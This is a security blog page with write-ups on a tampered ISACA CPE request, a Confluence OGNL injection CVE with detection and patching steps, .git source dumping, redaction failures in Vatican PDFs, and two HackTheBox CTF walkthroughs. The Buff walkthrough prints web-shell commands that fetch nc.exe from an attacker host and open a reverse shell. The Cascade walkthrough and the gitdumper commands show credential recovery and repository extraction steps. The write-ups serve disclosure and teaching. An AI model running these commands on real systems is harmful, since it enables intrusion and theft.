Blog

  •

    How I found a vulnerability giving me infinite CPE credits

    5.00 of 70 votes

    This is my write-up on a vulnerability I identified which allowed me to credit my ISACA CISM certification with unlimited CPE credits. During my day off I was looking at ways to earn myself some CPE credits towards my CISM certification. For context, 1 hour of eligible activities translates to the accrual of 1 CPE credit, and for my CISM certification, I require at least 120 CPEs over a three year period. Quiz Night! First I logged into my ISACA account and completed an archived quiz from here. For ISACA members (if you have a valid ISACA membership), the successful completion of each archived quiz awards 1 CPE credit. Once I had successfully completed a quiz, I visited my Manage CPE portal to apply the newly earned CPE credit to my account. The first step was to take note of the unique CPE ID and proceed to apply it to my account. Here I noticed that when attempting to apply CPE credits from this type of eligible activity, the forms on the ISACA web app seem to restrict the numerical 'max hours allowed' value. However, this restriction appeared to only be enforced client-side, which meant that an attacker could change this numerical value before submitting it to the server. I was curious how the server would validate any modified input value (if at all), and what response the server might provide if this value was changed to extend or nullify the 'max hours allowed' limitation. Enter Burp I opened Burp (my intercepting proxy) and captured the request. I could see that the request was submitted in a JSON format, with a number of expected parameters that relate to the web form. The server considered the request valid, and issued a response which echoed a 'true' boolean statement. I took note of the request and response values, then saved the request to Burp's repeater module (we'll come back to this shortly). I then revisited the archived quizzes and successfully completed a different quiz. I again visited my Manage CPE portal to apply the newly earned CPE credit to my account. I again took note of the unique CPE ID. I then went back to the previous request saved in Burp's repeater module, and modified the values of the request to reflect those of the newly completed quiz, but this time I manually set the 'MaxHoursAvailable' parameter to 100 and the 'CismHours' parameter to 100. I submitted this request to the server, and received a 'true' boolean statement in the response. I then navigated back to my certifications dashboard and could see that 100 CPE credits were successfully applied. I was able to confirm this was as a result of the modified request being made by viewing the applied CPE records within my Manage CPE portal. This finding was duly reported to ISACA within 4 hours of being identified. It took 134 days for my report to close with an agreement for public disclosure. ISACA responded on 10/06/2022 with the following statement:We do not view this particular occurrence as having a major impact on our website or operations. Additionally our ability to audit member's CPE's would allow us to correctly identify those who made use of this or a similar technique and take the appropriate steps upon discovery.

  •

    CVE-2021-26084 PoC write-up

    5.00 of 56 votes

    This is my PoC write-up for CVE-2021-26084, which amounts to RCE and affects certain versions of Confluence Server and Data Center instances. I've come across this vulnerability a few times during the course of my research, so decided to add a brief PoC write-up for ease of future reference. Summary CVE-2021-26084 is an OGNL injection vulnerability allowing an unauthenticated attacker to execute arbitrary code on the targeted instance. It may be worth noting that statements from the vendor indicate this vulnerability is being actively exploited in the wild and that affected servers should be patched imediately. Steps to Reproduce I have included a downloadable PoC (proof-of-concept) Python script below, which enables owners of vulnerable instances to safely (and remotely) reproduce the necessary steps to validate this vulnerability themselves. Download Python Script Example Usage: python3 poc.py -u https://[TARGET HOST HERE] -p /pages/[PAGE VARIABLE HERE].action?SpaceKey=x The Vulnerability Atlassian Confluence is a widely used platform written in Java for managing project documentation and planning, typically deployed in corporate environments for teams to collaborate in shared workspaces. Back in 2017, security researcher Benny Jacob discovered that unauthenticated users could execute arbitrary code by targeting HTML queries with ONGL injection techniques. HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. A HTTP request consists of a request line, various headers, an empty line, and an optional message body: Where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF), SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI or in the message-body, depending on the Method used and the Content-Type header. For example, a simple HTTP request passing a parameter named "param" with value "1", using the GET method might look like: A corresponding HTTP request using the POST method might look as follows: Confluence uses the Webwork web application framework to map URLs to Java classes, creating what is known as an action. Action URLs end with the '.action' suffix and are defined in the xwork.xml file in confluence- .jar and in the atlassian-plugin.xml file in JAR files of included plugins. Each action entry contains at least a name attribute, defining the action name, a class attribute, defining the Java class implementing the action, and at least one result element which decides the Velocity template to render after the action is invoked based on the result of the action. Common return values from actions are "error", "input";, and "success", but any value may be used if there is a matching result element in the associated XWork XML. Action entries can contain a method attribute, which allows invocation of a specific method of the specified Java class. When no command is specified, the doDefault() method of the action class is called. The following is a sample action entry for the doenterpagevariables action: In the above example, the doEnter() method of the com.atlassian.confluence.pages.actions.PageVariablesAction class handles requests to doenterpagevariables.action and will return values such as "success", "input";, or "error". This results in the appropriate Velocity template being rendered. Confluence supports the use of Object Graph Navigational Language (OGNL) expressions to dynamically generate web page content from Velocity templates using the Webwork library. OGNL is a dynamic Expression Language (EL) with terse syntax for getting and setting properties of Java objects, list projections, lambda expressions, etc. OGNL expressions contain strings combined to form a navigation chain. The strings can be property names, method calls, array indices, and so on. OGNL expressions are evaluated against the initial, or root context object supplied to the evaluator in the form of OGNL Context. Confluence uses a container object of class com.opensymphony.webwork.views.jsp.ui.template.TemplateRenderingContext to store objects needed to execute an Action. These objects include session identifiers, request parameters, spaceKey, etc. TemplateRenderingContext also contains a com.opensymphony.xwork.util.OgnlValueStack object to push and store objects against which dynamic Expression Languages (EL) are evaluated. When the EL compiler needs to resolve an expression, it searches down the stack starting with the latest object pushed into it. OGNL is the EL used by the Webwork library to render Velocity templates defined in Confluence, allowing access to Confluence objects exposed via the current context. For example, the $action variable returns the current Webwork action object. OGNL expressions in Velocity templates are parsed using the ognl.OgnlParser.expression() method. The expression is parsed into a series of tokens based on the input string. The ognl.JavaCharStream.readChar() method, called by the OGNL parser, evaluates Unicode escape characters in the form of uXXXX where "XXXX" is the hexadecimal code of the Unicode character represented. Therefore, if an expression includes the character u0027, the character is evaluated as a closing quote character ('), escaping the context of evaluation as a string literal, allowing to append an arbitrary OGNL expression. If an OGNL expression is parsed in a Velocity template within single quotes and the expression's value is obtained from user input without any sanitization, an arbitrary OGNL expression can be injected. An OGNL injection vulnerability exists in Atlassian Confluence. The vulnerability is due to insufficient validation of user input used to set variables evaluated in Velocity templates within single quotes. By including the u0027 character in user input, an attacker can escape the string literal and append an arbitrary OGNL expression. Before OGNL expressions are evaluated by Webwork, they are compared against a list of unsafe node types, property names, method names, and variables names in the com.opensymphony.webwork.util.SafeExpressionUtil.containsUnsafeExpression() method. However, this list is not exhaustive, and arbitrary Java objects can be instantiated without using any of the unsafe elements listed. For example, the following expression, executing an OS command, would be accepted as a safe expression by this method: A remote attacker can exploit this vulnerability by sending a crafted HTTP request containing a malicious parameter to a vulnerable server. Successful exploitation can result in the execution of arbitrary code with the privileges of the server. Remote Detection of Generic Attacks To detect this attack, you should monitor all HTTP traffic requests where the path component of the request-URI contains one of the strings in the "URI path" column of the following table: URI Path Vulnerable Parameters --------------------------------------------------------------------- --------------------------------------------------------------------- /users/darkfeatures.action featureKey /users/enabledarkfeature.action featureKey /users/disabledarkfeature.action featureKey /login.action token /dologin.action token /signup.action token /dosignup.action token /pages/createpage-entervariables.action queryString, linkCreation /pages/doenterpagevariables.action queryString /pages/createpage.action queryString /pages/createpage-choosetemplate.action queryString /pages/docreatepagefromtemplate.action queryString /pages/docreatepage.action queryString /pages/createblogpost.action queryString /pages/docreateblogpost.action queryString /pages/copypage.action queryString /pages/docopypage.action queryString /plugins/editor-loader/editor.action syncRev If such a request is found, you should inspect the HTTP request method. If the request method is POST, look for the respective vulnerable parameters from the table above in the body of the HTTP request, and if the request method is GET, you should look for the parameters in the request-URI of the HTTP request. Check to see if the value of any of the vulnerable parameters contains the string u0027 or its URL-encoded form. If so, the traffic should be considered malicious and an attack exploiting this vulnerability is likely underway. Remediation If you are running an affected version upgrade to version 7.13.0 (LTS) or higher. If you are running 6.13.x versions and cannot upgrade to 7.13.0 (LTS) then upgrade to version 6.13.23. If you are running 7.4.x versions and cannot upgrade to 7.13.0 (LTS) then upgrade to version 7.4.11. If you are running 7.11.x versions and cannot upgrade to 7.13.0 (LTS) then upgrade to version 7.11.6. If you are running 7.12.x versions and cannot upgrade to 7.13.0 (LTS) then upgrade to version 7.12.5. If you are unable to upgrade Confluence immediately, then as a temporary workaround, you can mitigate the issue by following the steps outlined in the official advisory: Confluence Server or Data Center Node running on Linux: If you run Confluence in a cluster, you will need to repeat this process on each node. You don't need to shut down the whole cluster. Shut down Confluence. Download the cve-2021-26084-update.sh to the Confluence Linux Server. Edit the cve-2021-26084-update.sh file and set INSTALLATION_DIRECTORY to your Confluence installation directory, for example: INSTALLATION_DIRECTORY=/opt/atlassian/confluence Save the file. Give the script execute permission. chmod 700 cve-2021-26084-update.sh Change to the Linux user that owns the files in the Confluence installation directory, for example: $ ls -l /opt/atlassian/confluence | grep bindrwxr-xr-x 3 root root 4096 Aug 18 17:07 bin# In this first example, we change to the 'root' user# to run the workaround script$ sudo su root $ ls -l /opt/atlassian/confluence | grep bindrwxr-xr-x 3 confluence confluence 4096 Aug 18 17:07 bin# In this second example, we need to change to the 'confluence' user# to run the workaround script$ sudo su confluence Run the workaround script. ./cve-2021-26084-update.sh The expected output should confirm up to five files updated and end with Update completed! The number of files updated will differ, depending on your Confluence version. Restart Confluence. Confluence Server or Data Center Node running on Windows: If you run Confluence in a cluster, you will need to repeat this process on each node. You don't need to shut down the whole cluster. Shut down Confluence. Download the cve-2021-26084-update.ps1 to the Confluence Windows Server. Edit the cve-2021-26084-update.ps1 file and set the INSTALLATION_DIRECTORY. Replace Set_Your_Confluence_Install_Dir_Here with your Confluence installation directory, for example:$INSTALLATION_DIRECTORY='C:Program FilesAtlassianConfluence' Save the file. Open up a Windows PowerShell (use Run As Administrator). Due to PowerShell's default restrictive execution policy, run the PowerShell using this exact command:Get-Content .cve-2021-26084-update.ps1 | powershell.exe -noprofile - The expected output should show the status of up to five files updated, encounter no errors (errors will usually show in red) and end with:Update completed! The number of files updated will differ, depending on your Confluence version. Restart Confluence. Remember, if you run Confluence in a cluster, make sure you run this script on all of your nodes.

  •

    Source code disclosure via exposed .git

    5.00 of 67 votes

    This is my write-up on a misconfigured .git repo I found during my day off and how the potential exploitation of this vulnerability can amount to source-code disclosure. During my day off I took a brief look at a particular vendor my employer was in the process of procuring a new service from. I quickly identified what appeared to be an exposed .git repo which I was able to provisionally validate over HTTP. Whilst I wasn't able to view the .git folder itself because public read access is disabled on the server, I was able to confirm the repository contents were accessible. Example #1:https://[TARGET]/.git/config Example #2:https://[TARGET]/.git/logs/HEAD Here I will walkthrough how we can extract the contents of a repository like this to help identify the impact of a vulnerability such as source code disclosure with a clear PoC. To dump this repository locally for analysis and to help quantify the number of objects within it, we can use the dumper tool from GitTools. git clone https://github.com/internetwache/GitTools.git cd GitTools/Dumper ./gitdumper.sh https://[TARGET]/.git/ ~/target To view a summary of the file tree: cd target tree -a .git/objects The files within the repository are identified by their corresponding hash values, though the full hash string for these actually includes the first two characters of each corresponding subfolder within the tree. This means we need to add these to the file name to complete the 40 character hash string. We can pull these 40 character hashes by concatenating the subfolder name with the filename by using find and then piping the results into the format we want using awk find .git/objects -type f | awk -F/ '{print $3$4}' We can use a for loop to identify the type of all files within the objects directory: for i in $(find .git/objects -type f | awk -F/ '{print $3$4}'); git cat-file -t $i Here we can see these objects consist of a number of trees, commits, and blobs (binary large objects). In this example, I actually have a calculated total of: 1,276 trees 910 commits 923 blobs By default, git stores objects in .git/objects as their original contents, which are compressed using the zlib library. This means we cannot view objects within a text-editor as-is, and must instead rely on alternative options such as git cat-file We can check the type for each of these files individually using their identified hashes: git cat-file -t [FULL FILE HASH] We can preview the contents of each of these files individually using their identified hashes: git cat-file -p [FULL FILE HASH] | head In my last example, we can see this particular blob contains PHP code. As PHP is a server-side scripting language (almost like a blueprint to backend functionality), this can be used to evidence that server-side source code is exposed within this repository. The impact of this can vary depending on the functionality purpose and volume of code, but in my experience often results in the exposure of backend configuration settings, hardcoded credentials (such as usernames and passwords), API tokens, and other endpoints. If this is a repository upon which any proprietary software components rely, then source code disclosure of this type can also present a number of issues relating to theft of intellectual property. This finding was duly reported to the affected vendor within 24 hours of being identified.

  •

    How I stumbled over a vulnerability in the Vatican

    5.00 of 83 votes

    This is my write-up and walkthrough for a simple low-complexity but potentially high-impact vulnerability I identified within files hosted on the Vatican web app. This started as me looking for a domain to set up a dedicated BIND9 service on a new DNS server I was building. I was looking for a domain, and for reasons I won't go into here, wanted one for a particular use-case that leveraged the .va top-level domain (TLD). However, I quickly encountered a problem... I couldn't register a .va domain Different countries each have their own country code TLD. Generally, most countries allow for individuals outside of their citizenry to still register domains using their country code TLD. However, the .va TLD is reserved for the State of the Vatican City, is administered by the Internet Office of the Holy See (the Pope), and registrations are not permitted to those outside of the Vatican's administration. Having learned this from a few Google searches, and not knowing much about the Vatican, I decided to do some further research to see if there was any legitimate way around this. Perhaps an application form I could fill out? A higher fee I could pay? Maybe a contact number for the Pope so I could seek his blessing? I looked around the Vatican's official website located at https://vatican.va for some support. In doing so, I stumbled across the https://supportoposta.vatican.va subdomain, which seemed to point to a directory hosting internal user guides in PDF format for webmail configuration. Not exactly what I was looking for, but I was curious why this was publicly accessible. Internal user guides, whilst not always sensitive, can often allow attackers during their recon to learn a lot about the tools and technologies upon which a target organisation relies. I decided to check what information these configuration files contained. Two example pages are included below: Everything was in Italian. I can’t read Italian, and for obvious reasons was reluctant to start uploading text I couldn't understand from internal Vatican government files into a cloud US-based translator (such as Google Translate). Fortunately, the screenshot images were clear and having a background in IT meant I was already familiar with much of the mail-client configuration steps the documentation outlined. But something stood out to me - the blue-box redactions within the screenshots provided seemed too familiar. Why? Because I know these as the same blue boxes MS Word defaults to when selecting to insert rectangular shapes within MS Word documents. This tells me the PDF files hosted on the site were originally created in MS Word and likely exported from MS Word into PDF format. Why is this important? Because exporting MS Word documents to PDF doesn't flatten embedded content layers. Redacting an MS Word document The key to understanding how sensitive data can be embedded in a PDF document is that information hidden or covered in an electronic document, can easily be recovered. The solution is to ensure that sensitive information is not just visually hidden or made illegible, but is actually deleted from the source file. In some documents, deleting sections can cause an undesirable reflow of text and graphics. If document formatting is a critical issue, this document provides some methods for maintaining that formatting. I checked if the redaction layers were removable by simply copying the embedded content back into an MS Word document, then selecting those layers and deleting them. It worked. But there were multiple PDF files with many redactions that I couldn’t translate, so to speed things up I did what I thought cyber Jesus would do. I downloaded everything, used a local OCR (Optical Character Recognition) software to extract all text data from the files, and parsed their output through a translator to generate new editable documents in English. After removing the redactions and reviewing all the user guides properly in English, I identified three to be of potential value to an attacker. Whilst these files are unredacted copies of their originals, I opted to manually blur out any residual data I felt could enable an adversary to identify data subjects. Zimba MFA Config Shared Calendar Config Mail Encryption Config As can be seen within the partially redacted versions of these documents (I manually removed all PII), they expose: 2FA backup code allowing an attacker to generate valid one-time 2FA codes 1024 bit PGP private key PGP private key passphrase for decryption and message signing Internal directory paths for CalDAV configuration Internal email communications Internal calendar schedules Names and email addresses of internal staff   Conclusion I feel it worth noting that this type of oversight, which can amount to sensitive data exposure, remains as prevalent today as it was over a decade ago. Redaction failure episodes are still commonly reported in the media, and this highlights the ongoing tech challenges associated with what traditionally only required a black pen and paper. The key take-away from this, albeit an obvious one, is that humans are naturally fallible and we all make mistakes. The document publisher, where potentially identified, should not be the subject of focus, but rather the adopted redaction practice and process itself. I hope that by documenting this report here it might help raise awareness of this issue and prevent others from making the same mistake in the future. Repeat attempts were made to contact the Vatican regarding this report over the course of three months. They were also served adequate prior notice of this write-up. I will update this blog post should I receive a response.

  •

    [CTF] HTB Buff write-up walkthrough

    4.31 of 167 votes

    This is my write-up and walkthrough for the Buff (10.10.10.198) box user flag. Buff is a Windows machine with multiple CVEs which are relatively easy to identify. I found this box much simpler than some of the others in my recent write-ups and would definitely recommend it to anyone new to CTFs. When commencing this engagement, Buff was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.198 to check if my instance could reach the Buff machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label buff Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV buff -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated port 8080 was open and running an Apache web server. I visited the IP address in my browser (port 8080). The web server produced a fitness website, so I browsed through the pages. When I landed on the Contact page, I noticed there was no form or information. However, there was information which indicated the site was "Made using Gym Management Software 1.0", signed with the copyright label © Projectworlds.in in the page footer.I decided to search Google to see if I could find a copy of the software version 1.0 online. The first result served a page from exploit-db.com, which indicated this software already contained a known vulnerability and there was a prepackaged payload available to exploit it.This detailed that the software was vulnerable to an Unauthenticated File Upload vulnerability allowing remote attackers to gain Remote Code Execution (RCE) on the host by uploading a maliciously crafted PHP file that bypassed image upload filters. I proceeded to download this exploit. And then deployed it against the target host. I then uploaded a native netcat binary from my Kali instance using cp /usr/share/windows-binaries/nc.exe . I then uploaded a plink binary from my Kali instance using cp /usr/share/windows-binaries/plink.exe . And ran a HTTP server using python -m SimpleHTTPServer to handle directory files. From here I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/nc.exe in my browser which used curl to run a configured netcat listener on the host. I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/plink.exe in my browser which used curl to enable SSH access. With netcat and plink configured on the host I then proceeded to set up a listener locally, configured using nc -lvvnp 1337 to listen on port 1337 And then visited http://buff:8080/upload/kamehameha.php?telepathy=nc 10.10.14.6:1337 -e cmd.exe in my browser to execute cmd.exe (command prompt) on the host within an interactive shell. My local netcat listener confirmed my reverse shell was successfully established. Using the command dir identified the user flag within the /upload directory. Using type user.txt allowed me to read the file to access the flag. I did also find a copy of the user flag within the C:/Users/shaun/Desktop directory, so I'm unsure if someone copied it to the /upload folder before the box was reset.  

  •

    [CTF] HTB Cascade write-up walkthrough

    4.93 of 111 votes

    This is my write-up and walkthrough for the Cascade box. When commencing this engagement, Cascade was listed in HTB (hackthebox) with a medium difficulty rating. Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.182 to check if my instance could reach the Cascade machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label cascade Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV cascade -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated a number of ports were open. As this was a Windows machine, I considered ports 53, 88, 139, 445, and 5985 important. I decided to run enum4linux to try to enumerate further information. This pulled a lot of information, some of which was information on the workgroup user's table. Next I used ldapsearch and ran some automated LDAP queries to see if I could enumerate any further information on the LDAP directory. As I expected this to generate a lot of data, I output the results to a text file. I then opened the file using cat and used less to see if I could identify any LegacyPwd strings. This proved successful and allowed me to identify a base64 encoded legacy password for the r.thompson user account.I then decoded this using Kali's native base64 decoder which gave me the password rY4n5eva I then opened a Samba client using the smbclient utility and tried to connect using the r.thompson and rY4n5eva credentials. I did some mapping and noticed that the Data$ sharename provided access to some additional directories. Digging further into the /IT directory identified a folder named /Email Archives which contained a file named Meeting_Notes_June_2018.html I decided to use mget to download everything locally. I then inspected the Meeting_Notes_June_2018.html file. This showed an internal email from the user Steve Smith advising the IT department that an account named TempAdmin was created with the same login credentials as the administrator. As Steve Smith implied they had the privileges to perform this action, I went back to the files I had previously downloaded using mget from the /IT directory, focusing specifically on the VNC Install.reg file pulled from the /s.smith subfolder of the /Temp directory. Unsurprisingly, this file contained a hex password value. I did some searches on Google and found a popular tool for decoding VNC passwords was vncpwd.exe (File Hash: 7A8DB90DA4FF58A9284E7DB88CEA95CFD817914F). Running this against the encoded string produced the decoded password of sT333ve2 Using the credentials s.smith and sT333ve2 with Evil-WinRM allowed me to get a shell and access the user flag. Conclusion This was a fun box and I found it quite realistic too. Admittedly, I only managed to get the user flag (again) and needed some advice from the community along the way, but I'm satisfied with where I got in the end. I recognise I need to brush up on my priv esc skills and hope to find the root flag on this box and others in the future.